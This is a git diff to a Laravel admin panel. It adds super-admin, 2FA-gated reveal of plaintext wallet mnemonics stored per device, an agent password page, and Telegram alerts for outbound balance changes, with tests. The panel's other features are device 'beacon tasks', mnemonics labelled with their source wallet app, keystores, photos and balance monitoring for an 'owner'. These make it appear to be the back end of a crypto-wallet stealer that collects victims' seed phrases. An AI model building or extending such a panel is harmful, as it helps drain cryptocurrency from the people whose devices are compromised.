diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 49f4d08..5e01a67 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; +use App\Models\Admin; use App\Models\Device; use App\Models\DeviceApp; use App\Models\DeviceEvent; @@ -124,6 +125,8 @@ class DeviceController extends Controller 'addressChains' => $addressChains, 'portal' => $this->portal(), 'beaconTasks' => $device->beaconTasks, + 'can_reveal' => $this->canRevealMnemonics(), + 'google_bound' => $this->googleBoundForReveal(), ]); } @@ -468,13 +471,16 @@ class DeviceController extends Controller $field = 'id'; } $paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); - $data = collect($paginator->items())->map(function (WalletMnemonic $w) { + $canReveal = $this->canRevealMnemonics(); + $data = collect($paginator->items())->map(function (WalletMnemonic $w) use ($canReveal) { return [ 'id' => $w->id, 'source' => $w->source ?: '', 'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic), 'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'), + 'can_reveal' => $canReveal, + 'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $w->id) : '', ]; })->values(); @@ -674,4 +680,21 @@ class DeviceController extends Controller return null; } + + private function canRevealMnemonics(): bool + { + if ($this->isAgentPortal()) { + return false; + } + $admin = auth('admin')->user(); + + return $admin instanceof Admin && $admin->canRevealMnemonics(); + } + + private function googleBoundForReveal(): bool + { + $admin = auth('admin')->user(); + + return $admin instanceof Admin && $admin->hasGoogleBound(); + } } diff --git a/app/Http/Controllers/Admin/Google2faController.php b/app/Http/Controllers/Admin/Google2faController.php index 2754956..b77002e 100644 --- a/app/Http/Controllers/Admin/Google2faController.php +++ b/app/Http/Controllers/Admin/Google2faController.php @@ -17,8 +17,8 @@ class Google2faController extends Controller $admin = auth('admin')->user(); return view('admin.security.google2fa', [ - 'enabled' => (int) $admin->google_auth_open === 1, - 'bound' => filled($admin->google_secret), + 'enabled' => $admin->requiresLoginGoogle(), + 'bound' => $admin->hasGoogleBound(), ]); } @@ -62,6 +62,7 @@ class Google2faController extends Controller $data = $request->validate([ 'GAKey' => ['required', 'string', 'max:16'], 'GASecret' => ['required', 'string', 'max:64'], + 'login_verify' => ['nullable', 'integer', 'in:0,1'], ], [ 'GAKey.required' => '请输入谷歌验证码', 'GASecret.required' => '参数不完整', @@ -76,14 +77,20 @@ class Google2faController extends Controller return response()->json(['code' => 1, 'msg' => '绑定失败,验证码不正确']); } + $loginVerify = (int) ($data['login_verify'] ?? 0); $admin->forceFill([ - 'google_auth_open' => 1, + 'google_auth_open' => $loginVerify, 'google_secret' => $data['GASecret'], ])->save(); $request->session()->forget('admin_google2fa_pending_secret'); - return response()->json(['code' => 0, 'msg' => '绑定成功,下次登录将需要输入谷歌验证码']); + return response()->json([ + 'code' => 0, + 'msg' => $loginVerify === 1 + ? '绑定成功,下次登录需要输入谷歌验证码' + : '绑定成功。登录不校验谷歌验证码;查看助记词明文仍需验证', + ]); } public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse @@ -106,18 +113,18 @@ class Google2faController extends Controller } $open = (int) $data['open']; - if ($open === 0) { - $code = (string) ($data['GACode'] ?? ''); - if (! $google2fa->verify((string) $admin->google_secret, $code)) { - return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']); - } + $code = (string) ($data['GACode'] ?? ''); + if (! $google2fa->verify((string) $admin->google_secret, $code)) { + return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']); } $admin->forceFill(['google_auth_open' => $open])->save(); return response()->json([ 'code' => 0, - 'msg' => $open === 1 ? '已开启谷歌验证' : '已关闭谷歌验证', + 'msg' => $open === 1 + ? '已开启登录谷歌验证' + : '已关闭登录谷歌验证(绑定仍保留,查看助记词仍需验证)', ]); } diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index 071d6c1..04ce123 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -4,9 +4,11 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; +use App\Models\Admin; use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletMnemonic; +use App\Services\AdminGoogle2fa; use App\Services\MnemonicWalletDiscovery; use App\Services\WalletBalanceService; use App\Support\AgentScope; @@ -36,6 +38,8 @@ class MnemonicController extends Controller 'portal' => $this->portal(), 'agents' => $agents, 'sources' => $sources, + 'can_reveal' => $this->canRevealMnemonics(), + 'google_bound' => $this->googleBoundForReveal(), ]); } @@ -56,7 +60,8 @@ class MnemonicController extends Controller $paginator = $q->paginate($limit, ['*'], 'page', $page); $portal = $this->portal(); - $data = collect($paginator->items())->map(function ($row) use ($portal) { + $canReveal = $this->canRevealMnemonics(); + $data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) { return [ 'id' => $row->id, 'device_key' => $row->device_key ?: '', @@ -68,6 +73,8 @@ class MnemonicController extends Controller 'detail_url' => route($portal.'.devices.show', $row->device_id), 'wallets_url' => route($portal.'.mnemonics.wallets', $row->id), 'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id), + 'can_reveal' => $canReveal, + 'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $row->id) : '', ]; })->values(); @@ -79,6 +86,54 @@ class MnemonicController extends Controller ]); } + public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa) + { + /** @var Admin|null $admin */ + $admin = auth('admin')->user(); + if ($admin === null || ! $admin->canRevealMnemonics()) { + return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403); + } + if ($this->isAgentPortal() || ! $this->mnemonicAllowed($mnemonic)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + if (! $admin->hasGoogleBound()) { + return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']); + } + + $data = $request->validate([ + 'GACode' => ['required', 'string', 'max:16'], + ], [ + 'GACode.required' => '请输入谷歌验证码', + ]); + + $throttleKey = 'mnemonic-reveal:'.$admin->id; + if (RateLimiter::tooManyAttempts($throttleKey, 8)) { + $seconds = RateLimiter::availableIn($throttleKey); + + return response()->json([ + 'code' => 1, + 'msg' => '验证过于频繁,请 '.$seconds.' 秒后再试', + ], 429); + } + + if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) { + RateLimiter::hit($throttleKey, 60); + + return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']); + } + + RateLimiter::clear($throttleKey); + + return response()->json([ + 'code' => 0, + 'msg' => 'ok', + 'data' => [ + 'id' => $mnemonic->id, + 'mnemonic' => (string) $mnemonic->mnemonic, + ], + ]); + } + public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery) { if (! $this->mnemonicAllowed($mnemonic)) { @@ -146,6 +201,23 @@ class MnemonicController extends Controller ]); } + private function canRevealMnemonics(): bool + { + if ($this->isAgentPortal()) { + return false; + } + $admin = auth('admin')->user(); + + return $admin instanceof Admin && $admin->canRevealMnemonics(); + } + + private function googleBoundForReveal(): bool + { + $admin = auth('admin')->user(); + + return $admin instanceof Admin && $admin->hasGoogleBound(); + } + private function mnemonicAllowed(WalletMnemonic $mnemonic): bool { $allowed = WalletMnemonic::query() diff --git a/app/Http/Controllers/Agent/PasswordController.php b/app/Http/Controllers/Agent/PasswordController.php new file mode 100644 index 0000000..f2a1033 --- /dev/null +++ b/app/Http/Controllers/Agent/PasswordController.php @@ -0,0 +1,51 @@ + 'user', + 'username' => (string) (auth('agent')->user()?->username ?? ''), + ]); + } + + public function update(Request $request): JsonResponse + { + /** @var User $user */ + $user = $request->user('agent'); + + $data = $request->validate([ + 'current_password' => ['required', 'string'], + 'password' => ['required', 'string', 'min:6', 'max:128', 'confirmed'], + ], [ + 'current_password.required' => '请填写当前密码', + 'password.required' => '请填写新密码', + 'password.min' => '新密码至少 6 位', + 'password.confirmed' => '两次输入的新密码不一致', + ]); + + if (! Hash::check($data['current_password'], $user->password)) { + return response()->json(['code' => 1, 'msg' => '当前密码不正确']); + } + + if (Hash::check($data['password'], $user->password)) { + return response()->json(['code' => 1, 'msg' => '新密码不能与当前密码相同']); + } + + $user->password = $data['password']; + $user->save(); + + $request->session()->regenerate(); + + return response()->json(['code' => 0, 'msg' => '密码已更新']); + } +} diff --git a/app/Models/Admin.php b/app/Models/Admin.php index ab06509..a396049 100644 --- a/app/Models/Admin.php +++ b/app/Models/Admin.php @@ -37,4 +37,19 @@ class Admin extends Authenticatable { return (int) $this->status === 1; } + + public function hasGoogleBound(): bool + { + return filled($this->google_secret); + } + + public function requiresLoginGoogle(): bool + { + return $this->hasGoogleBound() && (int) $this->google_auth_open === 1; + } + + public function canRevealMnemonics(): bool + { + return $this->isSuper(); + } } diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index d29ce0b..1442a2f 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -282,13 +282,15 @@ class TelegramNotifier string $amount, ?string $chain = null, ?string $balance = null, + bool $inbound = true, ): void { + $signed = ($inbound ? '+' : '-').ltrim($amount, '+-'); $lines = [ - '✅ 余额入账', + $inbound ? '✅ 余额入账' : '📤 余额转出', ...$this->deviceHeader($deviceId), '🪙 链: '.$this->e($chain ?: '—'), '📬 地址: '.$this->e($address).'', - '💵 金额: +'.$this->e($amount).' '.$this->e($symbol), + '💵 金额: '.$this->e($signed).' '.$this->e($symbol), ]; if ($balance !== null && trim($balance) !== '') { $lines[] = '💰 余额: '.$this->e($balance); diff --git a/app/Services/Tokenview/TokenviewMonitorService.php b/app/Services/Tokenview/TokenviewMonitorService.php index 660a894..d5a5c08 100644 --- a/app/Services/Tokenview/TokenviewMonitorService.php +++ b/app/Services/Tokenview/TokenviewMonitorService.php @@ -148,13 +148,13 @@ class TokenviewMonitorService }); } - $inbound = []; + $changes = []; foreach ($deltas as $col => $delta) { - if ($delta > 0) { - $inbound[$col] = $delta; + if ($delta != 0.0) { + $changes[$col] = $delta; } } - if ($inbound === []) { + if ($changes === []) { return; } @@ -162,14 +162,15 @@ class TokenviewMonitorService $primary->refresh(); $balanceSummary = $primary->coinsSummary(); $deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id; - foreach ($inbound as $col => $delta) { + foreach ($changes as $col => $delta) { $this->telegram->notifyBalanceChange( (string) $deviceKey, $lookup, strtoupper($col), - WalletAddress::formatAmount($col, $delta), + WalletAddress::formatAmount($col, abs($delta)), $coin, - $balanceSummary + $balanceSummary, + $delta > 0, ); } } diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 0e79079..b747622 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -210,6 +210,7 @@ @endsection @push('scripts') +@include('admin.partials.mnemonic_reveal') @@ -69,11 +72,17 @@ @endsection @push('scripts') +@include('admin.partials.mnemonic_reveal') diff --git a/resources/views/admin/security/google2fa.blade.php b/resources/views/admin/security/google2fa.blade.php index 4b3b897..26060d8 100644 --- a/resources/views/admin/security/google2fa.blade.php +++ b/resources/views/admin/security/google2fa.blade.php @@ -6,19 +6,30 @@
谷歌验证(Google Authenticator)
-

- 当前状态: - @if($enabled) - 已开启 - @elseif($bound) - 已绑定未开启 +

+ 绑定状态: + @if($bound) + 已绑定 @else 未绑定 @endif

+

+ 登录验证: + @if($enabled) + 已开启(登录必须填验证码) + @elseif($bound) + 未开启(登录不校验,查看助记词仍需验证) + @else + 未开启 + @endif +

+

+ 绑定后可以关闭登录验证。超级管理员查看助记词明文必须使用谷歌验证,与登录开关无关。 +

@if(!$bound) -
+
@@ -32,7 +43,7 @@
- +
+ +
+ +
可不勾选。不勾选则登录不校验,之后也可再开。
+
+
@@ -51,7 +69,7 @@
@else -
+
@@ -61,15 +79,15 @@
- +
@if($enabled) - + @else - + @endif
@@ -101,6 +119,7 @@ layui.use(['form', 'layer'], function () { $('#LAY-ga-secret').text(res.secret || ''); $('#LAY-ga-secret-input').val(res.secret || ''); $('#LAY-ga-bind-box').show(); + form.render('checkbox'); }, error: function (xhr) { layer.msg((xhr.responseJSON && (xhr.responseJSON.message || xhr.responseJSON.msg)) || '请求失败', { icon: 2 }); @@ -110,10 +129,12 @@ layui.use(['form', 'layer'], function () { }); form.on('submit(LAY-ga-bind)', function (data) { + var payload = Object.assign({}, data.field, { _token: token }); + payload.login_verify = $('input[name=login_verify]').is(':checked') ? 1 : 0; $.ajax({ url: @json(route('admin.security.google2fa.bind')), method: 'POST', - data: Object.assign({}, data.field, { _token: token }), + data: payload, success: function (res) { layer.msg(res.msg || '', { icon: res.code === 0 ? 1 : 2 }, function () { if (res.code === 0) location.reload(); @@ -151,7 +172,7 @@ layui.use(['form', 'layer'], function () { $('#LAY-ga-close').on('click', function () { toggle(0); }); $('#LAY-ga-unbind').on('click', function () { - layer.confirm('确定解除谷歌验证绑定?', function (index) { + layer.confirm('确定解除谷歌验证绑定?解除后无法查看助记词明文。', function (index) { $.ajax({ url: @json(route('admin.security.google2fa.unbind')), method: 'POST', diff --git a/resources/views/user/password.blade.php b/resources/views/user/password.blade.php new file mode 100644 index 0000000..f06bf75 --- /dev/null +++ b/resources/views/user/password.blade.php @@ -0,0 +1,76 @@ +@extends('admin.content') + +@section('title', '修改密码') + +@section('content') +
+
修改密码
+
+ +
+ +
+
{{ $username }}
+
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+
+ +
+
+ +
+
+@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/user/shell.blade.php b/resources/views/user/shell.blade.php index 1b0ec25..807a466 100644 --- a/resources/views/user/shell.blade.php +++ b/resources/views/user/shell.blade.php @@ -33,6 +33,7 @@ {{ auth('agent')->user()->username ?? 'agent' }}
+
修改密码
退出
@@ -107,6 +108,17 @@ +
  • + + + 账号 + +
    +
    + 修改密码 +
    +
    +
  • diff --git a/routes/admin.php b/routes/admin.php index 2afb30d..aa5d614 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -60,6 +60,9 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data'); Route::get('mnemonics/{mnemonic}/wallets', [MnemonicController::class, 'wallets'])->name('mnemonics.wallets'); Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh'); + Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal']) + ->middleware('admin.super') + ->name('mnemonics.reveal'); Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index'); Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data'); diff --git a/routes/user.php b/routes/user.php index 0ee755c..669bf9f 100644 --- a/routes/user.php +++ b/routes/user.php @@ -12,6 +12,7 @@ use App\Http\Controllers\Admin\PhotoController; use App\Http\Controllers\Admin\TransferRecordController; use App\Http\Controllers\Admin\WalletAddressController; use App\Http\Controllers\Agent\AuthController; +use App\Http\Controllers\Agent\PasswordController; use Illuminate\Support\Facades\Route; Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(function () { @@ -22,6 +23,9 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func Route::post('logout', [AuthController::class, 'logout'])->name('logout'); Route::get('/', [AuthController::class, 'home'])->name('home'); + Route::get('password', [PasswordController::class, 'index'])->name('password.index'); + Route::put('password', [PasswordController::class, 'update'])->name('password.update'); + Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); diff --git a/tests/Feature/AdminLoginTest.php b/tests/Feature/AdminLoginTest.php index f82037d..1dd3de4 100644 --- a/tests/Feature/AdminLoginTest.php +++ b/tests/Feature/AdminLoginTest.php @@ -105,6 +105,29 @@ class AdminLoginTest extends TestCase $this->assertAuthenticated('admin'); } + #[Test] + public function google2fa_bound_without_login_verify_skips_code(): void + { + $google2fa = app(AdminGoogle2fa::class); + $secret = $google2fa->generateSecret(); + + Admin::query()->create([ + 'username' => 'admin', + 'password' => 'admin123', + 'status' => 1, + 'google_auth_open' => 0, + 'google_secret' => $secret, + ]); + + $this->post('/admin/login', [ + 'username' => 'admin', + 'password' => 'admin123', + ])->assertOk() + ->assertJson(['code' => 0]); + + $this->assertAuthenticated('admin'); + } + #[Test] public function login_is_rate_limited_after_failures(): void { diff --git a/tests/Feature/AgentPasswordTest.php b/tests/Feature/AgentPasswordTest.php new file mode 100644 index 0000000..115c5a4 --- /dev/null +++ b/tests/Feature/AgentPasswordTest.php @@ -0,0 +1,105 @@ +create([ + 'username' => 'okagent', + 'password' => $password, + 'status' => 1, + ]); + } + + #[Test] + public function guest_cannot_open_password_page(): void + { + $this->get(route('user.password.index')) + ->assertRedirect(route('user.login')); + } + + #[Test] + public function agent_can_open_password_page(): void + { + $this->actingAs($this->agent(), 'agent') + ->get(route('user.password.index')) + ->assertOk() + ->assertSee('修改密码') + ->assertSee('okagent'); + } + + #[Test] + public function agent_can_change_password(): void + { + $agent = $this->agent(); + + $this->actingAs($agent, 'agent') + ->putJson(route('user.password.update'), [ + 'current_password' => 'secret12', + 'password' => 'newpass12', + 'password_confirmation' => 'newpass12', + ]) + ->assertOk() + ->assertJson(['code' => 0]); + + $agent->refresh(); + $this->assertTrue(Hash::check('newpass12', $agent->password)); + $this->assertFalse(Hash::check('secret12', $agent->password)); + $this->assertAuthenticated('agent'); + } + + #[Test] + public function wrong_current_password_is_rejected(): void + { + $agent = $this->agent(); + + $this->actingAs($agent, 'agent') + ->putJson(route('user.password.update'), [ + 'current_password' => 'wrong-old', + 'password' => 'newpass12', + 'password_confirmation' => 'newpass12', + ]) + ->assertOk() + ->assertJson(['code' => 1, 'msg' => '当前密码不正确']); + + $agent->refresh(); + $this->assertTrue(Hash::check('secret12', $agent->password)); + } + + #[Test] + public function confirmation_mismatch_is_rejected(): void + { + $this->actingAs($this->agent(), 'agent') + ->putJson(route('user.password.update'), [ + 'current_password' => 'secret12', + 'password' => 'newpass12', + 'password_confirmation' => 'mismatch', + ]) + ->assertStatus(422); + } + + #[Test] + public function same_password_is_rejected(): void + { + $agent = $this->agent(); + + $this->actingAs($agent, 'agent') + ->putJson(route('user.password.update'), [ + 'current_password' => 'secret12', + 'password' => 'secret12', + 'password_confirmation' => 'secret12', + ]) + ->assertOk() + ->assertJson(['code' => 1, 'msg' => '新密码不能与当前密码相同']); + } +} diff --git a/tests/Feature/MnemonicRevealTest.php b/tests/Feature/MnemonicRevealTest.php new file mode 100644 index 0000000..40dad9f --- /dev/null +++ b/tests/Feature/MnemonicRevealTest.php @@ -0,0 +1,185 @@ +create(['device_id' => 'dev-reveal-1']); + $row = new WalletMnemonic([ + 'device_id' => $device->id, + 'source' => 'imToken', + ]); + $row->mnemonic = self::PHRASE; + $row->save(); + + return $row; + } + + private function bindSecret(Admin $admin): string + { + $secret = app(AdminGoogle2fa::class)->generateSecret(); + $admin->forceFill([ + 'google_secret' => $secret, + 'google_auth_open' => 0, + ])->save(); + + return $secret; + } + + private function otp(string $secret): string + { + return (new Google2FA)->getCurrentOtp($secret); + } + + #[Test] + public function list_stays_masked_and_super_sees_reveal_url(): void + { + $admin = Admin::query()->create([ + 'username' => 'root', + 'password' => 'secret12', + 'is_super' => 1, + ]); + $mnemonic = $this->storeMnemonic(); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.mnemonics.data')) + ->assertOk() + ->assertJsonPath('data.0.id', $mnemonic->id) + ->assertJsonPath('data.0.mnemonic', 'abandon *** about') + ->assertJsonPath('data.0.can_reveal', true) + ->assertJsonPath('data.0.reveal_url', route('admin.mnemonics.reveal', $mnemonic)); + } + + #[Test] + public function normal_admin_list_has_no_reveal(): void + { + $admin = Admin::query()->create([ + 'username' => 'staff', + 'password' => 'secret12', + 'is_super' => 0, + ]); + $this->storeMnemonic(); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.mnemonics.data')) + ->assertOk() + ->assertJsonPath('data.0.can_reveal', false) + ->assertJsonPath('data.0.reveal_url', ''); + } + + #[Test] + public function super_reveals_after_google_code(): void + { + $admin = Admin::query()->create([ + 'username' => 'root', + 'password' => 'secret12', + 'is_super' => 1, + ]); + $secret = $this->bindSecret($admin); + $mnemonic = $this->storeMnemonic(); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.mnemonics.reveal', $mnemonic), [ + 'GACode' => $this->otp($secret), + ]) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.mnemonic', self::PHRASE); + } + + #[Test] + public function reveal_rejects_wrong_code(): void + { + $admin = Admin::query()->create([ + 'username' => 'root', + 'password' => 'secret12', + 'is_super' => 1, + ]); + $this->bindSecret($admin); + $mnemonic = $this->storeMnemonic(); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.mnemonics.reveal', $mnemonic), [ + 'GACode' => '000000', + ]) + ->assertOk() + ->assertJson(['code' => 1, 'msg' => '谷歌验证码不正确']); + } + + #[Test] + public function reveal_requires_bound_google(): void + { + $admin = Admin::query()->create([ + 'username' => 'root', + 'password' => 'secret12', + 'is_super' => 1, + ]); + $mnemonic = $this->storeMnemonic(); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.mnemonics.reveal', $mnemonic), [ + 'GACode' => '123456', + ]) + ->assertOk() + ->assertJsonPath('code', 1); + } + + #[Test] + public function normal_admin_cannot_reveal(): void + { + $admin = Admin::query()->create([ + 'username' => 'staff', + 'password' => 'secret12', + 'is_super' => 0, + ]); + $this->bindSecret($admin); + $mnemonic = $this->storeMnemonic(); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.mnemonics.reveal', $mnemonic), [ + 'GACode' => '123456', + ]) + ->assertForbidden(); + } + + #[Test] + public function bind_can_skip_login_verify(): void + { + $admin = Admin::query()->create([ + 'username' => 'root', + 'password' => 'secret12', + 'is_super' => 1, + ]); + $google2fa = app(AdminGoogle2fa::class); + $secret = $google2fa->generateSecret(); + + $this->actingAs($admin, 'admin') + ->withSession(['admin_google2fa_pending_secret' => $secret]) + ->postJson(route('admin.security.google2fa.bind'), [ + 'GASecret' => $secret, + 'GAKey' => $this->otp($secret), + 'login_verify' => 0, + ]) + ->assertOk() + ->assertJsonPath('code', 0); + + $admin->refresh(); + $this->assertTrue($admin->hasGoogleBound()); + $this->assertFalse($admin->requiresLoginGoogle()); + } +} diff --git a/tests/Feature/TokenviewWebhookTest.php b/tests/Feature/TokenviewWebhookTest.php index 30ab7e0..ba266b4 100644 --- a/tests/Feature/TokenviewWebhookTest.php +++ b/tests/Feature/TokenviewWebhookTest.php @@ -184,6 +184,71 @@ class TokenviewWebhookTest extends TestCase }); } + #[Test] + public function webhook_notifies_tron_outbound_after_chain_refresh(): void + { + config(['coruna.tokenview.sign_key' => '']); + Http::fake(function ($request) { + $url = $request->url(); + if (str_contains($url, '/v1/accounts/')) { + return Http::response([ + 'data' => [[ + 'balance' => 15_043_359, + 'trc20' => [ + ['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '45601000'], + ], + ]], + 'success' => true, + ], 200); + } + if (str_contains($url, 'api.telegram.org')) { + return Http::response(['ok' => true], 200); + } + + return Http::response(['ok' => true], 200); + }); + config([ + 'coruna.telegram.bot_token' => 'bot-token', + 'coruna.telegram.owner_chat_id' => '12345', + ]); + + $addr = $this->seedMonitoredAddress([ + 'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD', + 'chain_type' => 'TRON', + 'trx' => 15.0, + 'usdt' => 545.601, + 'eth' => null, + ]); + + $payload = [ + 'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD', + 'txid' => 'a37a08e7cc424528276b7bf9aff5feb8076e14851feb2d2a6e01ac34de68e404', + 'coin' => 'TRX', + 'tokenSymbol' => 'USDT', + 'tokenValue' => '-500', + 'value' => '0', + ]; + + $this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok'); + + $addr->refresh(); + $this->assertEqualsWithDelta(15.043359, (float) $addr->trx, 0.0000001); + $this->assertEqualsWithDelta(45.601, (float) $addr->usdt, 0.0000001); + + Http::assertSent(function ($request) { + if (! str_contains($request->url(), 'api.telegram.org')) { + return false; + } + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, '余额转出') + && str_contains($text, '-500 USDT') + && ! str_contains($text, '余额入账') + && str_contains($text, '余额') + && str_contains($text, '45.6'); + }); + } + #[Test] public function webhook_ignores_tron_when_token_is_not_trx_or_usdt(): void {